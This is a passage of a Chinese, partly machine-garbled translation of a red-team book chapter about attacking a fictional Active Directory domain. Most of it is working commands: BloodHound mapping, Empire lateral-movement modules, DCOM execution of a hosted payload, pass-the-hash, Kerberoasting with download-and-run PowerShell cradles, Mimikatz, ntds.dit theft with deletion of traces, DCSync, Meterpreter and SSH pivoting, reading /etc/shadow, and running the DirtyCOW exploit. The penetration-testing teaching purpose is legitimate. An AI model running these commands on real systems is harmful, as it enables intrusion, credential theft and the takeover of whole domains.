运行 PowerShell,然后导入 Bloodhound.ps1 或者 SharpHound.ps1: Invoke-Bloodhound -CollectionMethod Default Invoke-Bloodhound -CollectionMethod ACL,ObjectProps,Default-CompressData -RemoveCSV -NoSaveCache 运行可实行文献: SharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Group一朝完成了 Bloundhound/Sharphound,这四个文献将被保存到受害者机器上。下载并处理这些文献,并将它们复制到你的 kali 上。接下来,咱们需要启动 Neo4j 做事器并导入这些数据来构建联系关系图。
打开 Bloodhound
apt-get install bloodhound neo4j console 打开浏览器拜谒 :7474 结合到 bolt://localhost:7687 用户名: neo4j 密码: neo4j 修改密码 在一个结尾中运行 Bloodhound: bloodhound 数据库 URL: bolt://127.0.0.1:7687 用户名: neo4j 密码:新的密码 加载数据 在右侧,有一个 Upload Data 的按钮 上传 acls.csv,group_membership.csv, local_admin.csv 和 sessions.csv如果你莫得一个域来测试这个,我也曾在这里上传了四个 Bloodhound 文献:https://github.com/cyberspacekittens/bloodhound ,这样你就可以重迭这些熟练了。一朝进入 Bloodhound 并导入了扫数数据,咱们就可以去查询“查找到域料理员的最短旅途”。咱们还可以遴荐特定的用户,望望是否可以将旅途映射到特定的用户或组。在咱们的示例中,咱们攻陷的第一个用户机器是 NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL。在搜索栏中,咱们输入该用户的用户名,单击 Pathfinding 按钮,然后键入“Domain Admin”(或任何其他用户),稽查是否可以在这些对象之间夸耀对应的路由旅途。
你可以从 Neil 的机器上看到,咱们可以一齐凯旋的到 CSK 实验组。在“实验”组中,有一个名为 Purri 的用户,他是 HelpDesk 组的成员。
如果咱们能攻陷 HelpDesk 组,咱们可以转到 Chris 的主机中,而且 Elon Muskkat 面前已登录此机器。如果咱们能更始到他的程度或窃取他的明文密码,咱们就可以把权限提高到域料理员!
对于大型辘集的扫描结果,咱们珍爱到了 Bloodhound 查询的搜索功能有一些局限性。使用 Neo4j 的一个巨大克己是,它允许通过我方自己的叫 Cypher 的语言进行原始查询。关联自界说查询的 Cypher 的深入研究,请拜谒:https://blog.cptjesus.com/posts/introtocypher 。
咱们可以添加哪种自界说查询?来看吧,@porterhau5在扩张 Bloodhound 追踪和可视化攻击方面取得了很猛进展。稽查他们的著述:https://porterhau5.com/blog/extending-bloodhound-track-and-visualize-your-compromise/ 。
从高眉目的角度来看,@porterhau5增多了标记被攻陷主机的想法,以匡助更好地在内网漫游。举例,在这个伪造的场景中,咱们通过仿冒用户 niel.pawstrong 来危害其他开动用户。使用 Bloodhound 上的 Cypher 语言和原始查询功能,咱们可以运行这些查询:
向被攻陷系统添加自有标签: MATCH (n) WHERE n.name=“NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL” SET n.owned=“phish”, n.wave=1 运行查询以夸耀扫数被仿冒的系统 MATCH (n) WHERE n.owned=“phish” RETURN n现在,咱们可以向 Bloodhound 添加一些自界说查询。在Bloodhound 的“查询”选项卡上,滚动到底部,单击“自界说查询”把握的“裁剪”按钮。用以下内容替换扫数文本:
https://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json保存之后,咱们应该创建更多的查询。现在咱们可以单击查找结果“查找从所属节点到域料理员的最短旅途”。
如果你想更仔细地研究这个问题,请稽查 @porterhau5的 fork 版 Bloodhound。它用标记使被攻陷机器更直不雅,并允许更多的自界说功能:https://github.com/porterhau5/bloodhound-owned 。
到面前为止,在莫得扫描的情况下,咱们也曾能够得到对于该组织的多数信息。这皆是作为土产货 AD 用户(域用户)的权限能作念到的的,而且在大多数情况下,莫得任何辘集流量看起来太可疑。正如你所看到的,咱们能够作念到这一切,而无需成为土产货料理员或对土产货系管辖有任何料理权限。
Advanced ACL/ACE Bloodhound当使用 Bloodhound 的汇集方法拜谒控制列表(ACL)类型时,咱们的剧本将查询 AD 以汇集用户和对象的扫数拜谒控制权限。咱们从拜谒控制项(ACEs)汇集的信息神态了用户、组和策动机的允许和断绝权限。寻找和利用 ACEs 自己即是一个能写成完整的书的内容,但这里有一些很好的启动资源:
BloodHound 1.3–acl 攻击旅途更新 https://wald0.com/?p=112 先容起义性规复方法在将 ACL 数据导入 Bloodhound 时,咱们要寻找什么信息?Bloodhound 识别出 ACE 中可能存在缺欠的地方。这将包括谁有智商变调或重置密码、向组中添加成员、为其他用户更新剧本旅途等对象、更新对象或在对象上写入新的 ACE 等等。
若何使用这个东西呢?当攻陷到某个用户和得到额外的凭证后,咱们可以通过宗旨旅途找到一个有智商重置密码或修改 ACE 权限的用户。这将导致会有新的方法来找到到域料理员或特权帐户的旅途,以致允许成立后门以供以后使用。了解这些类型的利用方法的一个很好的资源是:Robbins-An-ACE-Up-The-Sleeve-DesigningActive-Directory-DACL-Backdoors 演讲 。
横向漫游——出动在一个领有多个用户的机器上,日常的作念法是创建一个新的用户凭证或者搬动不同用户的凭证。这种方法多数用于在环境中横向出动,这并不是什么簇新问题。日常,从 Bloodhound 输出或分享责任站,作为攻击者,咱们需要能够效法被攻陷的受害者系统上的其他用户。
咱们领有的许多器具可以用不同的方法来杀青这一丝。比如 Metasploit,咱们皆应该相称熟悉使用 Post Exploitation 躲避框架来窃取 token。
在 Empire 中,咱们可以使用窃取 token 来模拟该系统上的用户。我珍爱到,有时候窃取 token 会让咱们的 shell 下线。为了幸免这种情况,咱们可以将一个新的 agent 注入到另一个用户领有的正在运行的程度中。
鄙人面的图片中,咱们使用垂钓让一个职工运行了咱们的坏心软件。。这使得咱们可以在受害者用户的系统中运行咱们我方的范例(neil.pawstrong)。在阿谁用户的系统上,咱们可以转到 BuzzClawdrin 的系统,并用WMI(WindowsManagementInstrumentation)敕令实行得到了一个新的 agent。这里的问题是,咱们在首先攻击受害者 Neil.Pawstrong 的过程中,因为咱们使用缓存的凭证在 Buzz 的主机上生成了一个 shell。因此,咱们不应该窃取 token,而应该使用 Empire 的 psinject 功能。
psinject 神态“能够使用 ReflectivePick 将代理注入另一个程度,从而将通用.NET运行库时加载到程度中并实行特定的 PowerShell 敕令,而无需启动新的 PowerShell.exe 程度!”[ ],咱们使用它来生成一个全新的、以 buzz.clauldrin 的用户程度运行的 agent,这样咱们现在就可以得到他的拜谒权限。
离开开动主机现在你也曾找到了将要出动到的潜在旅途,那么得到这些系统的代码实行的选项是什么?最基本的方法是使用咱们当前的有 Active Directory 权限的用户以得到对另一个系统的控制权,举个例子,一个司理可以完全拜谒其下属的策动机,一个领有多个具有料理权限的会议/实验组策动机,他们的里面系统建立造作,或者发现存东说念主手动将用户添加到该策动机上的土产货料理组。这皆是普通用户可以领有长途拜谒到辘集上的其他责任站的可能的一些方式。一朝攻陷了一台宗旨机器,咱们既可以获取 Bloodhound 的结果,也可以重新扫描辘集以稽查咱们在哪些机器上具有土产货拜谒权限:
Empire 模块: situational_awareness/network/powerview/find_localadmin_access Metasploit 模块:Empire 的 find_localadmin_access 将查询 Active Directory 中的扫数主机名并尝试结合到它们。这统统是一个会酿成很大动静的器具,因为它需要结合到每个主机何况考证它是否是土产货料理员。
咱们可以看到,Empire 的 find_localadmin_access 模块表明了用户拜谒咱们的罗网的是一个 buzz.cyberspacekittens.local 机器。这应该和咱们的 Bloodhound 回显的是一样的。为了再次检讨咱们是否有拜谒权限,我日常会实行一些非交互的长途敕令,比如 dir [remote system]\C$ 并稽查咱们是否有对 C 盘的读/写权限。
在域内横向出动方面,有好几种作念法。让咱们先来望望 Empire 中最常见的(顺利从 Empire 中索要的):
inveigh_relay:Inveigh 的 SMB 中继功能。此模块可用于将传入的 HTTP/Proxy NTLMv1/NTLMv2身份考证央求中继到 SMB 宗旨。如果得胜地中继了身份考证,何况帐户具有较高的权限,则将在宗旨机器上利用 PSExec 实行指定的敕令或 Empire 启动范例。 invoke_executemsbuild:此函数使用 msbuild 和 inline task(内联任务)在土产货/长途主机上实行 PowerShell 敕令。如果提供了凭证,则在土产货装入默许料理分享。此敕令将在启动 msbuild.exe 程度的前后实行,而不启动 powershell.exe。 invoke_psremoting:使用 psremoting 在长途主机上实行 stager。只须受害者启用了 PSRemoting(这不老是启用的),咱们就可以通过此服求实行 PowerShell。 invoke_sqloscmd:在长途主机上实行敕令或着使用 xp_cmdshell 范例。就会反弹回一个 xp_cmdshell! invoke_wmi:使用 WMI 在长途主机上实行 stager。发现宗旨险些老是启用了 WMI,这是实行 PowerShell payload 的一个很好的方法。 jenkins_script_console:将 Empire 代理部署到具有对剧本控制台未经身份考证拜谒权限的 Windows Jenkins 做事器。如咱们所知,Jenkins 做事器是常见的,莫得凭证日常意味着要使用 RCE 来通过 /script 端点。 invoke_dcom:通过 DCOM 上的 MMC20.Application COM 对象在长途主机上调用敕令。允许咱们在不使用 psexec,WMI 或 PSRemoting 的情况下浸透进去。 invoke_psexec:使用 PsExec 类型在长途主机上实行 stager 功能。这是使用 PsExec 出动文献并实行的传统方法。这可能会触发警报,但如果莫得其他可用的方法,这仍然是一个好方法。 invoke_smbexec:使用 SMBExec.ps 在长途主机上实行 stager。咱们可以使用 samba 器具进行近似的攻击,而不是使用 PsExec。 invoke_sshcommand:通过 SSH 在长途主机上实行敕令。 invoke_wmi_debugger:使用 WMI 将长途策动机上的宗旨二进制文献的调试器成立为 cmd.exe 或 stager。使用近似 sethc(粘滞键)的调试器器具来实行咱们的代理。 new_gpo_immediate_task:生成“即时”的 schtask 以通过指定的 GPO 推出。如果你的用户帐户有权修改 GPO,此模块允许你将“即时”筹备任务推送到可以裁剪的 GPO,允许在应用 GPO 的系统上实行代码。[-1-5/]
这些只是一些最简单和最常见的横向内网漫游时代。在本书的背面,咱们将磋磨一些不太常见的绕过辘集的时代。在大多数内网中,日常启用 Windows Management Instrumentation(WMI),因为它是料理责任站所必需的做事。因此,咱们可以使用 invoke-wmi 横向出动。由于咱们使用的是土产货缓存凭证,且咱们的帐户可以拜谒长途主机,因此咱们不需要知说念用户的凭证。
在长途系统上实行
usemodule lateral_movement/invoke_wmi 成立你行将入侵的主机的联系信息: set ComputerName buzz.cyberspacekittens.local 建立你将使用的监听器: set Listener http 结合到长途主机并实行坏心范例: execute 和新的 agent 交互: agents interact sysinfo 利用 DCOM 的横向出动有许多方法可以在主机上进行单次横向出动。如果流露的帐户具有拜谒权限,或者你能够使用拿获的凭证创建令牌,咱们可以使用 WMI、PowerShell 长途敕令实行或 PSExec 生成不同的 shell。如果这些实行敕令的方法受到监控若何办?咱们通过使用散播式组件对象模子(DCOM)杀青一些很酷的 Windows 功能。DCOM 是用于在不同长途策动机上的软件组件之间通讯的 Windows 功能。
你可以使用 Powershell 敕令列出策动机的扫数 DCOM 应用范例:GetCimInstance Win32_DCOMApplication
安全研究员 @enigam0x3 的研究发现( https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ ),有多个对象(举例 ShellBrowserWindow 和 ShellWindows )允许在受害者主机上长途实行代码。当列出扫数 DCOM 应用范例(如上图所示)时,你将看到一个 CLSI 为 C08AFD90-F2A1-11D1-845500A0C91F3880 的 ShellBrowserWindow 对象。识别出该对象后,只须咱们的帐户有权拜谒,咱们就可以利用此功能在长途责任站上实行二进制文献。
powershell $([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“c:\windows\system32\calc.exe”)这将只在系统土产货实行文献,何况咱们不可将任何敕令行参数包含到可实行文献中(因此不可使用 cmd /k 类型的攻击)。相背,咱们可以从长途系统调用文献并实行它们,但请珍爱,用户将收到申饬的弹窗。在本例中,我面前在一个受害者的主机 neil.cyberspacekittens.local 上,该主机可以料理拜谒一个名为 buzz 的长途责任站。咱们将在 Neil 的责任站上分享一个文献夹,并托管咱们的 payload。接下来,咱们可以调用 DCOM 对象在长途受害者(buzz)策动机上实行托管的 payload。
$([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455- 00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“\neil.cyberspacekittens.local\Public\adobeupdate.exe”)
正如你鄙人一张图片中看到的,Buzz 的策动机上出现了一个对于运行 adobeupdate.exe 文献的弹出窗口。固然大多数用户皆会点击并运行这个,但它可能会让咱们被宗旨察觉。
因此,幸免这个问题的更好方法是在使用 DCOM 实行该文献之前将该文献移到上头(近似于装载受害者的驱动器)。@Enigam0x3对此作念得更进一步,并利用 Excel 宏来使用 DCOM。首先,咱们需要在我方的系统上创建坏心 Excel 文档,然后使用 PowerShell 剧本在受害者主机上实行此.xls 文献。
需要珍爱的一丝是,有许多其他的 DCOM 对象可以从系统中获取信息,可能会启动或罢手做事等等。这无疑为进一步研究 DCOM 功能提供了很好的开赴点。
参考文献:
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ https://www.cybereason.com/blog/dcom-lateral-movement-techniques Pass-the-Hash往常传递土产货料理帐户 Pass-The-Hash(PTH)的方法在很大程度上也曾最先消逝。固然还莫得完全消逝,但让咱们快速回顾一下。PTH 攻击利用 Windows NTLM 哈希对系统进行身份考证,而不是使用用户的凭证。这是很要紧的一丝,首先,使用 Mimikatz 这样的器具可以很容易地规复哈希,可以为土产货帐户索要哈希(但需要土产货料理员权限),可以从转储域控制器(不是明文密码)中规复哈希(DCsync)等等。
PTH 最基本的用途是攻击土产货料理员。由于默许情况下土产货料理员帐户已被禁用,何况出现了更新的安全功能,举例土产货料理员密码科罚决议(LAPS),为每个责任站创建随秘密码,因此日常很少使用上述这种方法。往常,在一个责任站上获取土产货料理帐户的哈希值在通盘组织中是可以用相通的方法杀青的,这意味着一个易受攻击的决议会使通盘公司收歇。
天然,这要求你必须是系统上的土产货料理员,启用土产货料理员帐户“administrator”,何况它是 RID 500帐户(意味着它必须是原始料理员帐户,不可是新创建的土产货料理员帐户)。
实行敕令: shell net user administrator User name Administrator Full Name Comment Built-in account for administering the computer/domain User’s comment Country/region code 000 (System Default) Account active Yes Account expires Never如果咱们看到帐户处于行径状态,咱们可以尝试从土产货策动机中索要扫数哈希值。请记着,这不会包括任何域账户哈希:
Empire Module: powershell/credentials/powerdump Metasploit Module:举例:
(Empire: powershell/credentials/powerdump) > execute Job started: 93Z8PE输出:
Administrator:500: aad3b435b51404eeaad3b435b51404ee:3710b46790763e07ab0d2b6cfc4470c1::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::咱们可以使用 Empire(credentials/mimikatz/pth)或者启动确凿任的 psexec,提交咱们的哈希,并实行咱们的自界说 payload,如下图所示:
如前所述,这是一种现在有数的陈腐的横向出动方式。如果你仍在研究利用土产货料理员帐户,但所处的环境有 LAPS(土产货料理员密码科罚决议),你可以使用几个不同的将它们从 Active Directory 中转储出的器具。这假设你也曾领有一个域料理员或 Helpdesk 类型帐户的权限:
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb ldapsearch -x -h 10.100.100.200 -D “elon.muskkat” -w password -b “dc=cyberspacekittens,dc=local” “(ms-MCS-AdmPwd=*)” ms-MCSAdmPwd [https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/]这是保持横向出动而不刊出 Helpdesk 用户帐户的好方法。
从做事帐户获取凭证如果你发现我方处于一个用户权限受限、无法从内存中索要密码、主机系统上莫得密码的情况下,该若何办...接下来该若何办?好吧,我最可爱的攻击之一是 Kerberoasting。
咱们皆知说念 NTLM 存在障碍,这是由于单向哈希(不含盐)、重放攻击和其他传统问题酿成的,这亦然许多公司转向采取 Kerberos 的原因。如咱们所知,Kerberos 是一种安全的方法,用于对策动机辘集中的做事央求进行身份考证。咱们不会深入研究 Windows 中的 Kerberos 杀青。但是,你应该知说念域控制器日常充任单子授予的做事器;辘集上的用户可以央求单子授予做事器以获取资源拜谒权的凭证。
什么是最严重的攻击?作为攻击者,咱们可以掌捏咱们之前索要的宗旨做事帐户的任何 SPN 央求 Kerberos 做事票证。缺点在于,当从域控制器央求做事单子时,该票证使用关联的做事用户的 NTLM 哈希加密。由于任何用户皆可以央求任何单子,这意味着,如果咱们可以猜测关联做事用户的 NTLM 哈希(加密单子的)的密码,那么咱们现在就知说念现实做事帐户的密码。这听起来可能有点令东说念主困惑,是以让咱们来看一个例子。
与以前近似,咱们可以列出扫数的SPN做事。这些是咱们将为其索要扫数 Kerberos 单子的做事帐户:
setspn -T cyberspacekittens.local -F -Q /咱们可以将单个用户的 SPN 作为宗旨,也可以将扫数用户的 Kerberos 单子拉入用户的内存中:
针对单个用户: powershell Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/CSK-GITHUB.cyberspacekittens.local” 将扫数用户单子拖到内存中 powershell Add-Type -AssemblyName System.IdentityModel;IEX (New-Object Net.WebClient).DownloadString(“ https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1 ”) | ForEach-Object {try{New-ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}} 天然,你也可以使用 powersploit 实行此操作: https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/如果得胜的话,咱们也曾将一个或多个不同的 Kerberos 票证导入到受害者策动机的内存中。咱们现在需要一种方法来索要单子。咱们可以使用好器具 Mimikatz Kerberos 导出:
powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘’); Invoke-Mimikatz -Command ’”““kerberos::list /export”””’一朝咱们导出这些票证,它们将仍会驻留在受害者的机器上。在咱们最先破解它们之前,咱们必须从它们的系统中下载它们。请记着,单子是用做事帐户的 NTLM 哈希加密的。是以,如果咱们能猜到 NTLM 哈希,咱们就可以读取单子,现在也知说念做事帐户的密码。破解账户最简单的方法是使用一个名为 tgsrepcrack 的器具(JTR 和 Hashcat 也接济破解 Kerberoast,稍后咱们将磋磨)。使用 Kerberoast 破解票证:
使用 Kerberoast 来破解单子: cd /opt/kerberoast python tgsrepcrack.py [password wordlist ][kirbi ticketss - *.kirbi]在这个例子中,做事帐户 csk-github 的密码是“p@ssw0rd!”
天然,Empire 有一个 PowerShell 模块为咱们作念扫数需要作念的事情。它位于 powershell/credentials/invoke_kerberoast 目次下( https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 )。
你可以用 John the Ripper 以致 Hashcat 来破解密码并输出结果。我以前在相称大的辘集环境中运行 PowerShell 剧本时遭遇过一些问题,因此,退一步的方法是使用 PowerShell 和 Mimikatz 将扫数的单子皆获取下来。
转储域控制器哈希一朝咱们得到了域料理拜谒权,从 DC 中索要扫数哈希的老方法即是在域控制器上运行敕令,并使用 Shadow Volume 或原始拷贝时代索要 ntds.dit 文献。
回顾磁盘卷影复制时代由于咱们确乎可以拜谒文献系统,何况可以作为攻击者在域控制器上运行敕令,因此咱们但愿获取存储在 ntds.dit 文献中的扫数域内哈希。倒霉的是,该文献络续地被读和写,即使作为系统,咱们也无法读取或复制该文献。行运的是,咱们可以利用名为 Volume Shadow Copy Service 磁盘复制做事(VSS)的 Windows 功能,该功能将创建磁盘的快照副本。然后咱们可以从该副本中读取 Ntds.dit 文献将其获取出来。并将其从策动机上取消,这包括窃取 Ntds.dit、System、SAM 和 Boot Key 文献。临了,咱们需要清算咱们的踪迹并删除磁盘拷贝:
C:\vssadmin create shadow /for=C: copy ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SYSTEM. copy ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SAM. reg SAVE HKLM\SYSTEM c:\SYS vssadmin delete shadows /for= [/oldest | /all | /shadow=]NinjaCopy
Ninjacopy 是另一个器具,一朝咱们在域控制器上,就可以用来获取 Ntds.dit 文献。Ninjacopy “通过读取原始磁盘卷并分析 NTFS 结构,从 NTFS 分区磁盘复制文献。这将绕过文献 DACL(轻易拜谒控制列表)、读取句柄锁和 SACL(系统拜谒控制列表)。但你必须是料理员能力运行这个剧本。这可用于读取日常锁定的系统文献,如 NTDS.dit 文献或注册表建立单位。”[]
Invoke-NinjaCopy -Path “c:\windows\ntds\ntds.dit” -LocalDestination “c:\windows\temp\ntds.ditDCSync
现在,咱们也曾回顾了从 DC 索要哈希的老方法,这些方法要求你在 DC 上运行系统敕令,何况日常需要在该策动机上删除一些文献,让咱们陆续磋磨新方法。最近,由 Benjamindelpy 和 Vincent Le Toux 编写的 DCSync 引入并改变了从域控制器转储哈希的玩法。DCSync 的主张是它模拟域控制器来央求该域顶用户的扫数哈希。这意味着,只须你有权限,就不需要运行任何域控制器上的敕令,也不必删除 DC 上的任何文献。
但是要使 DCSync 责任,必须具有从域控制器中索要哈希的安妥权限。日常是限于域料理员、企业料理员、域控制器用户组以及将复制变调权限成立为允许(即复制扫数变调和复制目次变调)的任何东说念主,DCSync 将允许你的用户实行此攻击。这种攻击首先是在 Mimikatz 开发的,可以使用以下敕令运行:
Lsadump::dcsync /domain:[YOUR DOMAIN] /user:[Account_to_Pull_Hashes]更好的是,DCSync 被引入了 PowerShell Empire 这样的器具,以使其更容易杀青。
Empire 模块:powershell/credentials/mimikatz/dcsync_hashdump
稽查 DCSync hashdump,咱们可以看到 Active Directory 顶用户的扫数 NTLM 哈希。此外,咱们还有 krbtgt NTLM 哈希,这意味着咱们现在(或在将来的行径中)可以实行 Golden Ticket attacks(黄金单子攻击)。
利用 VPS 在内网进行 RDP 横向出动在现谢宇宙,有了多数的新一代杀毒软件,在策动机之间横向运行 WMI/PowerShell Remoting/PSExec 并不老是最好的遴荐。咱们还看到一些组织系统正在记载扫数发生的 Windows 敕令教唆。为了科罚这一切,咱们有时需要回到基本的横向解析。使用 VPS 做事器的问题是,它只是一个莫得 GUI 接口的 shell。因此,咱们将建立路由和代理转发来自攻击者主机的流量,通过 VPS,然后再到被攻陷的主机,临了横向出动到下一个受害者。行运的是,咱们可以使用大部分土产货器具完成任务。
首先,咱们需要成立一个 VPS 做事器,启用通达到公网的多个端口,用 PTF 建立 Metasploit,并用 Meterpreter 攻陷首先的受害者。咱们也可以用 Cobalt Strike 或其他框架来杀青这一丝,但在本例中咱们将使用 Meterpreter。
咱们可以利用默许的 SSH 客户机,使用土产货端口转发(-L)。在这个场景中,我使用的是 Mac,但这也可以在 Windows 或 Linux 系统上完成。咱们将使用 SSH 密钥通过 SSH 结合到咱们的 VPS。咱们还将在攻击者机器上建立土产货端口,在本例中是3389(RDP),以将任何发送到该端口的流量转发到咱们的 VPS。当该端口上的流量转发到咱们的 VPS 时,它会将该流量发送到 VPS 上 3389 端口上的土产货主机。临了,咱们需要在 3389 端口上成立一个监听咱们的 VPS 的端口,并使用 Meterpreter 的端口转发功能通过被攻陷的受害机器成立一个端口转发,以能结合到受害者的系统。
用 Meterpreter payload 攻击受害者 在咱们的机器上开启 SSH,并在咱们的攻击者系统上成立土产货端口转发(土产货监听端口3389),以将针对该端口的扫数流量发送到 3389 上的 VPS 土产货主机端口。 ssh -i key.pem ubuntu@[VPS IP] -L 127.0.0.1:3389:127.0.0.1:3389 在 Meterpreter 会话上成立一个前置端口以监听端口3389上的 VPS,并通过被攻陷的机器将该流量发送到下一个要横向出动到的做事器。 portfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address] 在咱们的攻击者机器上,打开咱们的 Microsoft 长途桌面客户端,将你的结合成立为你我方的土产货主机 -127.0.0.1,然后输入受害者的凭证以通过 RDP 进行结合。 在 Linux 中横向出动在 Linux 中的操作多年来变化不大。日常,如果你使用的是 dnscat2 或 Meterpreter,它们皆接济我方的转发。
dnscat2: listen 127.0.0.1:9999 <target_IP>:22 Metasploit post/windows/manage/autoroute Metasploit Socks Proxy + Proxychains use auxiliary/server/socks4a Meterpreter: portfwd add –l 3389 –p 3389 –r <target_IP>如果你行运地得到了一个 SSH shell,那么咱们可以通过该系统进行浸透。咱们如何得到 SSH shell 呢?在许厚情况下,一朝咱们可以杀青土产货文献包含(LFI)或长途代码实行(RCE),咱们可以尝试权限升级以读取 /etc/shadow 文献(和密码破解),或者咱们可以利用一些 Mimimikatz 格调的方法。
与 Windows 和 Mimikatz 一样,Linux 系统也有相似的问题,密码以明文时势存储。@huntergregal 编写的器具可以转储特定程度,这些程度很可能以明文时势包含用户的密码。尽管迄今为止,这只适用于有限版块的 Linux 系统,但这个相通的主张可以在通盘系统中使用。你可以在这里准确地看到哪些系统以及从何处获取密码:
https://github.com/huntergregal/mimipenguin一朝咱们在被入侵的主机上得到了凭证,何况可以通过 SSH 反弹 shell,咱们就可以通过这个纯正传输流量,并在机器之间进行数据躲避。在 SSH 中,有一些很好的本性可以让咱们实行这个操作过程:
成立动态 Sock Proxy 以使用 proxychains 通过主机躲避咱们的扫数流量: ssh -D 127.0.0.1:8888 -p 22 @ <Target_IP> 单个端口的基本端口转发: ssh @<Target_IP> -L 127.0.0.1:55555:<Target_to_Pivot_to>:80 通过 SSH 的 VPN。这是一个相称棒的本性,使得可以通过 SSH 纯正躲避传输第3层辘集流量。 https://artkond.com/2017/03/23/pivoting-guide/#vpn-over-ssh Linux 提权Linux 权限提高在很大程度上与 Windows 近似。咱们寻找可以写入的易受攻击的做事、那些辣手的造作建立、平面文献中的密码、扫数的可写文献、筹备任务,天然还有修补问题。
在有用和高效地分析 Linux 系统中的权限提高问题方面,咱们可以使用一些器具来为咱们完成扫数的责任。
在咱们进行任何类型的权限提高攻击之前,我首先要在 Linux 主机上进行一个细密的信息汇集责任,并识别所关联于系统的信息。这包括用户、做事、定时任务、软件版块、弱信任对象、造作建立的文献权限,以致是 Docker 信息。咱们可以使用一个名为 LinEnum 的器具来为咱们完成扫数的累活( https://github.com/rebootuser/linenum )。
这是一个相称长的陈说,内容是你可能想要了解的对于底层系统的扫数信息,这对于将来的行径来说口舌常好的。
一朝咱们得到了对于系统的信息,咱们就会试图望望咱们是否能够利用这些缺点中的任何一个。如果咱们找不到任何可用的缺点或做事、筹备任务中的造作建立,咱们将顺利在系统或应用范例上进行攻击。我试着临了作念这些,因为老是有一个潜在的可能性可以顺利使系统挂掉。
咱们可以运行一个名为 linux-exploit-suggester 的器具来分析主机系统并识别缺失的补丁和缺点。一朝识别露马脚,该器具还将向你提供可用 PoC 缺点的贯穿。
现在,咱们要利用什么呢?这即是教会和实践果真弘扬作用的地方。在我的实验中,我将建立多数不同的 Linux 版块,以考证这些缺点攻击不会使底层系统崩溃。在这个场景中,我最可爱的一个缺点是 DirtyCOW。
DirtyCOW 的责任旨趣是“在Linux内核的内存子系统处理写拜谒时只读专有映射 COW 情况中断的方式中发现了竞争条件。非特权土产货用户可以使用此障碍获取对其他只读内存映射的写拜谒权限,从而增多他们在系统上的权限。”[https://dirtycow.ninja/]
简而言之,此缺点允许攻击者通过内核缺点从非特权用户转到 root 权限。这是咱们能料想的的最好权限提高的方法!但有一个问题是它会导致一些内核崩溃,是以咱们必须确保在正确的 Linux 内核上使用正确的版块。
在 Ubuntu 上测试 DirtyCOW (ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64):
下载 DirtyCOW payload wget -O dirtycow-mem.c 编译 DirtyCOW payload gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread 运行 DirtyCOW 以拜谒系统 ./dirtycow-mem 关闭如期写回以使缺点平定 echo 0 > /proc/sys/vm/dirty_writeback_centisecs Try reading the shadow file cat /etc/shadow Linux 横向出动实验横向出动的问题是,莫得一个成立开赴点渐渐深入的环境很难熟练。因此,咱们向你先容了 CSK 辘集安全实验。在这个实验中,你将在不同的开导之间进行切换,使用最近的缺点攻击和权限提高攻击,并利用 Linux 环境中自己存在的应用范例进行攻击。
成立诬捏环境
这个诬捏实验环境的成立有些复杂。这是因为辘集需要三个不同的静态诬捏机能力运行,何况你需要预先进行一些成立。扫数这些皆在 VMware Workstation 和 VMware Fusion 中进行了测试,因此如果你使用的是 VirtualBox,那么你可能需要对它进行安妥的治愈。
下载三台诬捏机:
?type=csk-lab 固然你不需要这些系统的 root 帐户,但 hacker/changeme 是用户名/密码,尽量不要变调。扫数三台诬捏机皆建立为使用 NAT 辘集接口。要使该实验环境正常责任,你必须在 VMware 中建立诬捏机的 NAT 成立,能力使用172.16.250.0/24辘集。要在 Windows VMware Workstation 中实行此操作,请实行以下操作:
在最先菜单,循序点击 裁剪 -> 诬捏辘集裁剪器 -> 变调成立 遴荐需要成立 NAT 类型的界面(我这里成立的是 VMnet8) 修改子网 IP 为 172.16.250.0 ,并点击 应用在 OSX 中,操作更复杂。你需要:
复制原始的 dhcpd.conf 作为备份 sudo cp /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf/Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf.bakup 裁剪 dhcpd.conf 文献以使用172.16.250.x 而不是192.168.x.x sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf 裁剪 nat.conf 以使用正确的网关 sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/nat.conf #NAT gateway address ip = 172.16.250.2 netmask = 255.255.255.0 重新启动做事: sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --stop sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --start现在,你应该能够在 NAT 模式下启动 THP Kali VM,并在172.16.250.0/24范围内得到一个 DHCP 分配的 IP。如果你这样作念了,就同期启动扫数其他三个实验诬捏机,然后最先黑客攻击吧。
